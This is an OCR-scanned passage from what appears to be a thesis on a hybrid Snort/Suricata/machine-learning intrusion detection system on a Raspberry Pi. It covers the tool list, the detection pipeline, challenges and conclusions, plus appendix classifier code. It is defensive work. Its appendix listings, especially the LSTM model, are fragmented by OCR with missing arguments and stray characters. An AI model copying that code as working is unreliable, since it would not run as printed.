such as SYN flood attacks, port scans, and exploit attempts [19].

e Suricata: Deployed alongside Snort to provide enhanced protocol-aware detection, deep

packet inspection, and structured logging using JSON output [20].

e Scapy: A Python-based packet manipulation tool used for capturing live network traffic

and extracting relevant packet-level features for analysis and classification [21].

e TensorFlow/Keras: Employed to design, train, and deploy the deep learning model

used to classify network flows as normal or malicious [22].

e Flask: A lightweight Python web framework used to build a real-time web interface for

alert display and system monitoring [23].

e Python: Served as the primary language to orchestrate all IDS components, including

packet sniffing, model inference, and integration with the web interface [24].

e CSE-CIC-IDS2018 Dataset: A labeled dataset containing diverse network traffic and

attack scenarios, used for training and validating the machine learning model [25].

e Raspberry Pi 5: Served as the target deployment platform, hosting all components of

the IDS in a resource-constrained environment [26].

e Kali Linux / Raspberry Pi OS: Operating systems used to develop, test, and deploy
IDS tools and machine learning modules on the Raspberry Pi [27].

e Wireshark / tcpdump: Network analysis tools employed for manual inspection and

verification of traffic during testing and debugging [28].

e Attack Tools (hping3, Slowloris, GoldenEye, SlowHTTPTest): Used to generate
various DoS and application-layer attacks to evaluate the detection capabilities of the

IDS [29)].

5.6 Implementation Steps

5.6.1 Packet Capture and Feature Extraction

The first stage of the intrusion detection pipeline involves capturing network packets and

extracting relevant features for analysis:
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Packet Sniffing: The Scapy library is used to monitor live traffic on the wlan0 network

interface of the Raspberry Pi.

e Feature Extraction: For each captured packet (or flow), critical features such as pro-

tocol type, packet size, flags, source/destination IPs, and port numbers are extracted.

e Data Reshaping: Extracted data is formatted into the appropriate input shape required

by the machine learning model.

e Classification: The reshaped data is passed in real-time to the trained deep learning

model, which classifies each instance as either benign or malicious.

5.6.2 Detection Flow

Once packet capture is active, the system performs parallel analysis using all three detection

methods:

e Live Capture: Real-time traffic is continuously monitored on the Raspberry Pi.

e Snort Analysis: Traffic is passed to Snort, which inspects it using signature-based

rules to detect known threats.

e Suricata Analysis: Suricata performs deep packet inspection and logs events with

structured protocol-level information in JSON format.

e Machine Learning Analysis: The same traffic is simultaneously evaluated by the ML

model, which detects previously unseen or anomalous behaviors based on patterns.
Alert Handling:

e Snort: Alerts are logged in a plaintext file (alert) showing signature matches and

packet metadata.

e Suricata: Structured alerts are stored in eve. json, which includes detailed protocol

and timing information.

e ML Model: Classification results are visualized via a Flask web interface, allowing real-

time monitoring of detection outcomes.
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Live Traffic

Scapy Packet Sniffing

Feature Extraction

Traffic Cloned

/ \

Snort Analysis Suricata Inspection ML Model Inference

alert File eve. json Flask Web UI

Figure 5.7: Detection Pipeline

5.7 Challenges and Future Work Recommendations

Despite the successful deployment of the hybrid Intrusion Detection System (IDS), several

challenges were encountered during development and testing:

e Limited Processing Power: The Raspberry Pi’s hardware limitations constrained its
ability to handle high-throughput traffic in real-time, particularly when Snort, Suricata,

and the ML model were running concurrently.

e Inference Latency: Integrating the trained machine learning model introduced latency

in classification, requiring optimization strategies to maintain real-time responsiveness.

e False Positives: Simulations with noisy or ambiguous traffic led to elevated false positive

rates, especially in edge-case scenarios.

e Alert Fatigue: Setting aggressive detection thresholds caused excessive alerts, while

lenient configurations reduced sensitivity to stealthy threats.

To address these challenges and improve system performance and adaptability, the following

recommendations are proposed:
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1. Edge Offloading: Offload heavy computations, such as ML inference, to more powerful

edge servers or cloud backends to preserve Raspberry Pi resources.

2. Model Retraining: Implement dynamic model retraining pipelines to allow continuous
learning from newly captured data, improving the ML model’s adaptability to novel

threats.

3. Web Interface Enhancement: Develop a more interactive dashboard with advanced

visualizations, remote control, and alert prioritization to improve usability.

4. Integration with Active Defense: Connect the IDS to preventive components such

as firewalls or automated response scripts to transition into a full Intrusion Prevention

System (IPS).

5. Dataset Expansion: Use recent and diverse datasets to train the ML model, enhancing

its generalization across modern and evolving attack patterns.

By implementing these improvements, the system can evolve into a robust, scalable, and

intelligent security framework tailored for real-world IoT and edge computing environments.

5.8 Conclusion

The implementation of the hybrid IDS demonstrates how combining traditional detection
techniques with machine learning models can enhance network security in constrained environ-
ments. By leveraging tools like Snort, Suricata, and a trained deep learning model, the system
successfully monitors and analyzes traffic in real-time, providing accurate alerts through a web-
based interface. The modular architecture not only facilitates integration and maintenance
but also allows for future upgrades and scaling. This practical deployment on Raspberry Pi
confirms the feasibility of creating cost-effective and intelligent security systems suitable for

small networks, IoT environments, and educational use cases.
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GENERAL CONCLUSION

This project successfully demonstrated the feasibility and effectiveness of building a hybrid
Intrusion Detection System (IDS) on a low-cost and resource-constrained platform such as the
Raspberry Pi 5. By integrating signature-based detection tools (Snort and Suricata) with a ma-
chine learning model trained on the CSE-CIC-IDS2018 dataset, the system was able to identify
a variety of network attacks—including DoS, Heartbleed, and reconnaissance attempts—with
high accuracy and minimal false positives.

The development process included careful selection of tools, architectural design, and a mod-
ular implementation that ensures adaptability and scalability. Extensive testing in a controlled
environment validated the system’s ability to detect both known and unknown threats. The
use of a lightweight Flask-based web interface enabled real-time monitoring and usability, even
on limited hardware.

Throughout the project, key challenges such as performance limitations, model integration,
and alert management were identified and addressed. These findings provide valuable insights
for future improvements and for deploying similar solutions in small-scale networks, [oT envi-
ronments, and educational settings.

Ultimately, this work reinforces the growing importance of combining traditional cyberse-
curity mechanisms with artificial intelligence to enhance network defense, especially in an era

where cyber threats are becoming increasingly complex and pervasive.
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APPENDIX A

SAMPLE CODE SNIPPETS

Decision Tree

from sklearn.tree import DecisionTreeClassifier

from sklearn.metrics import accuracy_score, classification_report

model = DecisionTreeClassifier() # initialize the model

model.fit (X_train, y_train) # train the model

# Evaluate the model by letting it classify the testing data and compare the
results with the actual labels
predictions = model.predict (X_test)

accuracy = accuracy_score (y_test, predictions)

# Results

print (£ )

report = classification_report (y_test, predictions)

5 print (report)

Listing A.1: Decision Tree Model

Random Forest

from sklearn.ensemble import RandomForestClassifier

75



-

Bibliography

from sklearn.metrics import accuracy_score, classification_report

model = RandomForestClassifier()# initialize the model

model.fit (X_train, y_train) # train the model

# Evaluate the model by letting it classify the testing data and compare the
results with the actual labels
predictions = model.predict (X_test)

accuracy = accuracy_score (y_test, predictions)

# Results
print (f"Accuracy, of model: {accuracy}\n")
report = classification_report (y_test, predictions)

5 print (report)

Listing A.2: Random Forest Model

K-NN

from sklearn.neighbors import KNeighborsClassifier

from sklearn.metrics import accuracy_score, classification_report

model = KNeighborsClassifier ()# initialize the model

model.fit (X_train, y_train) # train the model

# Evaluate the model by letting it classify the testing data and compare the
results with the actual labels
predictions = model.predict (X_test)

accuracy = accuracy_score (y_test, predictions)

# Results
print (f"Accuracy, of _model: {accuracy}\n")
report = classification_report (y_test, predictions)

print (report)

Listing A.3: K-NN Model
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LSTM

1 def create_lstm_model (input_shape, num_classes) :

model = Sequen

tial ([

Input (shape=input_shape),

LSTM (128,

Dropout (0.

return_sequences=True),

3)

LSTM (64, return_sequences=False),

Dropout (0.
Dense (64,
Dropout (0.
Dense (32,
Dropout (0.
Dense (num__

1)

model.compile (
optimizer=
loss=

metrics=]|

return model

3),

activation= )

3),

activation= )

2),

classes, activation= )

Listing A.4: LSTMModel
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